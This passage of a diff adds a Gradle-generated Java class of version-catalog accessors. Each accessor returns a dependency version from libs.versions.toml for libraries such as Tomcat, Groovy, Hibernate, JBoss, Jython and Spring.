+ * This version was declared in catalog libs.versions.toml + */ + public Provider getPlugin() { return getVersion("org.apache.maven.plugins.maven.assembly.plugin"); } + + } + + public static class OrgApacheMyfacesVersionAccessors extends VersionFactory { + + private final OrgApacheMyfacesCoreVersionAccessors vaccForOrgApacheMyfacesCoreVersionAccessors = new OrgApacheMyfacesCoreVersionAccessors(providers, config); + public OrgApacheMyfacesVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.myfaces.core + */ + public OrgApacheMyfacesCoreVersionAccessors getCore() { + return vaccForOrgApacheMyfacesCoreVersionAccessors; + } + + } + + public static class OrgApacheMyfacesCoreVersionAccessors extends VersionFactory { + + private final OrgApacheMyfacesCoreMyfacesVersionAccessors vaccForOrgApacheMyfacesCoreMyfacesVersionAccessors = new OrgApacheMyfacesCoreMyfacesVersionAccessors(providers, config); + public OrgApacheMyfacesCoreVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.myfaces.core.myfaces + */ + public OrgApacheMyfacesCoreMyfacesVersionAccessors getMyfaces() { + return vaccForOrgApacheMyfacesCoreMyfacesVersionAccessors; + } + + } + + public static class OrgApacheMyfacesCoreMyfacesVersionAccessors extends VersionFactory { + + public OrgApacheMyfacesCoreMyfacesVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.myfaces.core.myfaces.impl with value 2.2.9 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getImpl() { return getVersion("org.apache.myfaces.core.myfaces.impl"); } + + } + + public static class OrgApacheTomcatVersionAccessors extends VersionFactory { + + private final OrgApacheTomcatEmbedVersionAccessors vaccForOrgApacheTomcatEmbedVersionAccessors = new OrgApacheTomcatEmbedVersionAccessors(providers, config); + private final OrgApacheTomcatTomcatVersionAccessors vaccForOrgApacheTomcatTomcatVersionAccessors = new OrgApacheTomcatTomcatVersionAccessors(providers, config); + public OrgApacheTomcatVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.tomcat.embed + */ + public OrgApacheTomcatEmbedVersionAccessors getEmbed() { + return vaccForOrgApacheTomcatEmbedVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.tomcat.tomcat + */ + public OrgApacheTomcatTomcatVersionAccessors getTomcat() { + return vaccForOrgApacheTomcatTomcatVersionAccessors; + } + + } + + public static class OrgApacheTomcatEmbedVersionAccessors extends VersionFactory { + + private final OrgApacheTomcatEmbedTomcatVersionAccessors vaccForOrgApacheTomcatEmbedTomcatVersionAccessors = new OrgApacheTomcatEmbedTomcatVersionAccessors(providers, config); + public OrgApacheTomcatEmbedVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.tomcat.embed.tomcat + */ + public OrgApacheTomcatEmbedTomcatVersionAccessors getTomcat() { + return vaccForOrgApacheTomcatEmbedTomcatVersionAccessors; + } + + } + + public static class OrgApacheTomcatEmbedTomcatVersionAccessors extends VersionFactory { + + private final OrgApacheTomcatEmbedTomcatEmbedVersionAccessors vaccForOrgApacheTomcatEmbedTomcatEmbedVersionAccessors = new OrgApacheTomcatEmbedTomcatEmbedVersionAccessors(providers, config); + public OrgApacheTomcatEmbedTomcatVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.tomcat.embed.tomcat.embed + */ + public OrgApacheTomcatEmbedTomcatEmbedVersionAccessors getEmbed() { + return vaccForOrgApacheTomcatEmbedTomcatEmbedVersionAccessors; + } + + } + + public static class OrgApacheTomcatEmbedTomcatEmbedVersionAccessors extends VersionFactory { + + public OrgApacheTomcatEmbedTomcatEmbedVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.tomcat.embed.tomcat.embed.core with value 8.5.58 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.apache.tomcat.embed.tomcat.embed.core"); } + + } + + public static class OrgApacheTomcatTomcatVersionAccessors extends VersionFactory { + + public OrgApacheTomcatTomcatVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.tomcat.tomcat.websocket with value 9.0.62 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWebsocket() { return getVersion("org.apache.tomcat.tomcat.websocket"); } + + } + + public static class OrgApacheWicketVersionAccessors extends VersionFactory { + + private final OrgApacheWicketWicketVersionAccessors vaccForOrgApacheWicketWicketVersionAccessors = new OrgApacheWicketWicketVersionAccessors(providers, config); + public OrgApacheWicketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.wicket.wicket + */ + public OrgApacheWicketWicketVersionAccessors getWicket() { + return vaccForOrgApacheWicketWicketVersionAccessors; + } + + } + + public static class OrgApacheWicketWicketVersionAccessors extends VersionFactory { + + public OrgApacheWicketWicketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.wicket.wicket.util with value 6.23.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getUtil() { return getVersion("org.apache.wicket.wicket.util"); } + + } + + public static class OrgAspectjVersionAccessors extends VersionFactory { + + public OrgAspectjVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.aspectj.aspectjweaver with value 1.9.7 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAspectjweaver() { return getVersion("org.aspectj.aspectjweaver"); } + + } + + public static class OrgBeanshellVersionAccessors extends VersionFactory { + + public OrgBeanshellVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.beanshell.bsh with value 2.0b5 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getBsh() { return getVersion("org.beanshell.bsh"); } + + } + + public static class OrgClojureVersionAccessors extends VersionFactory { + + public OrgClojureVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.clojure.clojure with value 1.8.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getClojure() { return getVersion("org.clojure.clojure"); } + + } + + public static class OrgCodehausVersionAccessors extends VersionFactory { + + private final OrgCodehausGroovyVersionAccessors vaccForOrgCodehausGroovyVersionAccessors = new OrgCodehausGroovyVersionAccessors(providers, config); + public OrgCodehausVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.codehaus.groovy + */ + public OrgCodehausGroovyVersionAccessors getGroovy() { + return vaccForOrgCodehausGroovyVersionAccessors; + } + + } + + public static class OrgCodehausGroovyVersionAccessors extends VersionFactory { + + public OrgCodehausGroovyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.codehaus.groovy.groovy with value 2.4.5 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getGroovy() { return getVersion("org.codehaus.groovy.groovy"); } + + } + + public static class OrgEclipseVersionAccessors extends VersionFactory { + + private final OrgEclipseJettyVersionAccessors vaccForOrgEclipseJettyVersionAccessors = new OrgEclipseJettyVersionAccessors(providers, config); + public OrgEclipseVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.eclipse.jetty + */ + public OrgEclipseJettyVersionAccessors getJetty() { + return vaccForOrgEclipseJettyVersionAccessors; + } + + } + + public static class OrgEclipseJettyVersionAccessors extends VersionFactory { + + private final OrgEclipseJettyJettyVersionAccessors vaccForOrgEclipseJettyJettyVersionAccessors = new OrgEclipseJettyJettyVersionAccessors(providers, config); + public OrgEclipseJettyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.eclipse.jetty.jetty + */ + public OrgEclipseJettyJettyVersionAccessors getJetty() { + return vaccForOrgEclipseJettyJettyVersionAccessors; + } + + } + + public static class OrgEclipseJettyJettyVersionAccessors extends VersionFactory { + + public OrgEclipseJettyJettyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.eclipse.jetty.jetty.ant with value 11.0.7 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAnt() { return getVersion("org.eclipse.jetty.jetty.ant"); } + + } + + public static class OrgFusesourceVersionAccessors extends VersionFactory { + + private final OrgFusesourceJansiVersionAccessors vaccForOrgFusesourceJansiVersionAccessors = new OrgFusesourceJansiVersionAccessors(providers, config); + public OrgFusesourceVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.fusesource.jansi + */ + public OrgFusesourceJansiVersionAccessors getJansi() { + return vaccForOrgFusesourceJansiVersionAccessors; + } + + } + + public static class OrgFusesourceJansiVersionAccessors extends VersionFactory { + + public OrgFusesourceJansiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.fusesource.jansi.jansi with value 2.4.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJansi() { return getVersion("org.fusesource.jansi.jansi"); } + + } + + public static class OrgGlassfishVersionAccessors extends VersionFactory { + + private final OrgGlassfishTyrusVersionAccessors vaccForOrgGlassfishTyrusVersionAccessors = new OrgGlassfishTyrusVersionAccessors(providers, config); + public OrgGlassfishVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.glassfish.tyrus + */ + public OrgGlassfishTyrusVersionAccessors getTyrus() { + return vaccForOrgGlassfishTyrusVersionAccessors; + } + + } + + public static class OrgGlassfishTyrusVersionAccessors extends VersionFactory { + + private final OrgGlassfishTyrusTyrusVersionAccessors vaccForOrgGlassfishTyrusTyrusVersionAccessors = new OrgGlassfishTyrusTyrusVersionAccessors(providers, config); + public OrgGlassfishTyrusVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.glassfish.tyrus.tyrus + */ + public OrgGlassfishTyrusTyrusVersionAccessors getTyrus() { + return vaccForOrgGlassfishTyrusTyrusVersionAccessors; + } + + } + + public static class OrgGlassfishTyrusTyrusVersionAccessors extends VersionFactory { + + public OrgGlassfishTyrusTyrusVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.glassfish.tyrus.tyrus.server with value 2.0.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServer() { return getVersion("org.glassfish.tyrus.tyrus.server"); } + + } + + public static class OrgHibernateVersionAccessors extends VersionFactory { + + private final OrgHibernateHibernateVersionAccessors vaccForOrgHibernateHibernateVersionAccessors = new OrgHibernateHibernateVersionAccessors(providers, config); + public OrgHibernateVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.hibernate.hibernate + */ + public OrgHibernateHibernateVersionAccessors getHibernate() { + return vaccForOrgHibernateHibernateVersionAccessors; + } + + } + + public static class OrgHibernateHibernateVersionAccessors extends VersionFactory { + + public OrgHibernateHibernateVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.hibernate.hibernate.core with value 4.3.11.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.hibernate.hibernate.core"); } + + } + + public static class OrgJavassistVersionAccessors extends VersionFactory { + + public OrgJavassistVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.javassist.javassist with value 3.29.2-GA + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJavassist() { return getVersion("org.javassist.javassist"); } + + } + + public static class OrgJbossVersionAccessors extends VersionFactory { + + private final OrgJbossInterceptorVersionAccessors vaccForOrgJbossInterceptorVersionAccessors = new OrgJbossInterceptorVersionAccessors(providers, config); + private final OrgJbossRemotingVersionAccessors vaccForOrgJbossRemotingVersionAccessors = new OrgJbossRemotingVersionAccessors(providers, config); + private final OrgJbossRemotingjmxVersionAccessors vaccForOrgJbossRemotingjmxVersionAccessors = new OrgJbossRemotingjmxVersionAccessors(providers, config); + private final OrgJbossSpecVersionAccessors vaccForOrgJbossSpecVersionAccessors = new OrgJbossSpecVersionAccessors(providers, config); + private final OrgJbossWeldVersionAccessors vaccForOrgJbossWeldVersionAccessors = new OrgJbossWeldVersionAccessors(providers, config); + public OrgJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.interceptor + */ + public OrgJbossInterceptorVersionAccessors getInterceptor() { + return vaccForOrgJbossInterceptorVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.remoting + */ + public OrgJbossRemotingVersionAccessors getRemoting() { + return vaccForOrgJbossRemotingVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.remotingjmx + */ + public OrgJbossRemotingjmxVersionAccessors getRemotingjmx() { + return vaccForOrgJbossRemotingjmxVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.spec + */ + public OrgJbossSpecVersionAccessors getSpec() { + return vaccForOrgJbossSpecVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.weld + */ + public OrgJbossWeldVersionAccessors getWeld() { + return vaccForOrgJbossWeldVersionAccessors; + } + + } + + public static class OrgJbossInterceptorVersionAccessors extends VersionFactory { + + private final OrgJbossInterceptorJbossVersionAccessors vaccForOrgJbossInterceptorJbossVersionAccessors = new OrgJbossInterceptorJbossVersionAccessors(providers, config); + public OrgJbossInterceptorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.interceptor.jboss + */ + public OrgJbossInterceptorJbossVersionAccessors getJboss() { + return vaccForOrgJbossInterceptorJbossVersionAccessors; + } + + } + + public static class OrgJbossInterceptorJbossVersionAccessors extends VersionFactory { + + private final OrgJbossInterceptorJbossInterceptorVersionAccessors vaccForOrgJbossInterceptorJbossInterceptorVersionAccessors = new OrgJbossInterceptorJbossInterceptorVersionAccessors(providers, config); + public OrgJbossInterceptorJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.interceptor.jboss.interceptor + */ + public OrgJbossInterceptorJbossInterceptorVersionAccessors getInterceptor() { + return vaccForOrgJbossInterceptorJbossInterceptorVersionAccessors; + } + + } + + public static class OrgJbossInterceptorJbossInterceptorVersionAccessors extends VersionFactory { + + public OrgJbossInterceptorJbossInterceptorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.interceptor.jboss.interceptor.core with value 2.0.0.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.jboss.interceptor.jboss.interceptor.core"); } + + /** + * Version alias org.jboss.interceptor.jboss.interceptor.spi with value 2.0.0.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSpi() { return getVersion("org.jboss.interceptor.jboss.interceptor.spi"); } + + } + + public static class OrgJbossRemotingVersionAccessors extends VersionFactory { + + private final OrgJbossRemotingJbossVersionAccessors vaccForOrgJbossRemotingJbossVersionAccessors = new OrgJbossRemotingJbossVersionAccessors(providers, config); + public OrgJbossRemotingVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.remoting.jboss + */ + public OrgJbossRemotingJbossVersionAccessors getJboss() { + return vaccForOrgJbossRemotingJbossVersionAccessors; + } + + } + + public static class OrgJbossRemotingJbossVersionAccessors extends VersionFactory { + + public OrgJbossRemotingJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.remoting.jboss.remoting with value 4.0.19.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getRemoting() { return getVersion("org.jboss.remoting.jboss.remoting"); } + + } + + public static class OrgJbossRemotingjmxVersionAccessors extends VersionFactory { + + private final OrgJbossRemotingjmxRemotingVersionAccessors vaccForOrgJbossRemotingjmxRemotingVersionAccessors = new OrgJbossRemotingjmxRemotingVersionAccessors(providers, config); + public OrgJbossRemotingjmxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.remotingjmx.remoting + */ + public OrgJbossRemotingjmxRemotingVersionAccessors getRemoting() { + return vaccForOrgJbossRemotingjmxRemotingVersionAccessors; + } + + } + + public static class OrgJbossRemotingjmxRemotingVersionAccessors extends VersionFactory { + + public OrgJbossRemotingjmxRemotingVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.remotingjmx.remoting.jmx with value 2.0.1.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJmx() { return getVersion("org.jboss.remotingjmx.remoting.jmx"); } + + } + + public static class OrgJbossSpecVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxVersionAccessors vaccForOrgJbossSpecJavaxVersionAccessors = new OrgJbossSpecJavaxVersionAccessors(providers, config); + public OrgJbossSpecVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax + */ + public OrgJbossSpecJavaxVersionAccessors getJavax() { + return vaccForOrgJbossSpecJavaxVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityVersionAccessors vaccForOrgJbossSpecJavaxSecurityVersionAccessors = new OrgJbossSpecJavaxSecurityVersionAccessors(providers, config); + public OrgJbossSpecJavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security + */ + public OrgJbossSpecJavaxSecurityVersionAccessors getSecurity() { + return vaccForOrgJbossSpecJavaxSecurityVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccVersionAccessors = new OrgJbossSpecJavaxSecurityJaccVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc + */ + public OrgJbossSpecJavaxSecurityJaccVersionAccessors getJacc() { + return vaccForOrgJbossSpecJavaxSecurityJaccVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossVersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss + */ + public OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors getJboss() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors getJacc() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc.api + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors getApi() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1 + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors getV1() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4 + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors getV4() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors extends VersionFactory { + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec with value 1.0.3.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSpec() { return getVersion("org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec"); } + + } + + public static class OrgJbossWeldVersionAccessors extends VersionFactory { + + private final OrgJbossWeldWeldVersionAccessors vaccForOrgJbossWeldWeldVersionAccessors = new OrgJbossWeldWeldVersionAccessors(providers, config); + public OrgJbossWeldVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.weld.weld + */ + public OrgJbossWeldWeldVersionAccessors getWeld() { + return vaccForOrgJbossWeldWeldVersionAccessors; + } + + } + + public static class OrgJbossWeldWeldVersionAccessors extends VersionFactory { + + public OrgJbossWeldWeldVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.weld.weld.core with value 1.1.33.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.jboss.weld.weld.core"); } + + } + + public static class OrgJenkinsVersionAccessors extends VersionFactory { + + private final OrgJenkinsCiVersionAccessors vaccForOrgJenkinsCiVersionAccessors = new OrgJenkinsCiVersionAccessors(providers, config); + public OrgJenkinsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jenkins.ci + */ + public OrgJenkinsCiVersionAccessors getCi() { + return vaccForOrgJenkinsCiVersionAccessors; + } + + } + + public static class OrgJenkinsCiVersionAccessors extends VersionFactory { + + private final OrgJenkinsCiMainVersionAccessors vaccForOrgJenkinsCiMainVersionAccessors = new OrgJenkinsCiMainVersionAccessors(providers, config); + public OrgJenkinsCiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jenkins.ci.main + */ + public OrgJenkinsCiMainVersionAccessors getMain() { + return vaccForOrgJenkinsCiMainVersionAccessors; + } + + } + + public static class OrgJenkinsCiMainVersionAccessors extends VersionFactory { + + public OrgJenkinsCiMainVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jenkins.ci.main.remoting with value 2.55 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getRemoting() { return getVersion("org.jenkins.ci.main.remoting"); } + + } + + public static class OrgOw2VersionAccessors extends VersionFactory { + + private final OrgOw2AsmVersionAccessors vaccForOrgOw2AsmVersionAccessors = new OrgOw2AsmVersionAccessors(providers, config); + public OrgOw2VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.ow2.asm + */ + public OrgOw2AsmVersionAccessors getAsm() { + return vaccForOrgOw2AsmVersionAccessors; + } + + } + + public static class OrgOw2AsmVersionAccessors extends VersionFactory { + + public OrgOw2AsmVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.ow2.asm.asm with value 8.0.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAsm() { return getVersion("org.ow2.asm.asm"); } + + } + + public static class OrgPythonVersionAccessors extends VersionFactory { + + private final OrgPythonJythonVersionAccessors vaccForOrgPythonJythonVersionAccessors = new OrgPythonJythonVersionAccessors(providers, config); + public OrgPythonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.python.jython + */ + public OrgPythonJythonVersionAccessors getJython() { + return vaccForOrgPythonJythonVersionAccessors; + } + + } + + public static class OrgPythonJythonVersionAccessors extends VersionFactory { + + public OrgPythonJythonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.python.jython.standalone with value 2.5.2 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getStandalone() { return getVersion("org.python.jython.standalone"); } + + } + + public static class OrgReflectionsVersionAccessors extends VersionFactory { + + public OrgReflectionsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.reflections.reflections with value 0.9.10 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getReflections() { return getVersion("org.reflections.reflections"); } + + } + + public static class OrgSpringframeworkVersionAccessors extends VersionFactory { + + private final OrgSpringframeworkSpringVersionAccessors vaccForOrgSpringframeworkSpringVersionAccessors = new OrgSpringframeworkSpringVersionAccessors(providers, config); + public OrgSpringframeworkVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.springframework.spring + */ + public OrgSpringframeworkSpringVersionAccessors getSpring() { + return vaccForOrgSpringframeworkSpringVersionAccessors; + } + + } + + public static class OrgSpringframeworkSpringVersionAccessors extends VersionFactory { + + private final OrgSpringframeworkSpringContextVersionAccessors vaccForOrgSpringframeworkSpringContextVersionAccessors = new OrgSpringframeworkSpringContextVersionAccessors(providers, config); + public OrgSpringframeworkSpringVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.springframework.spring.aop with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

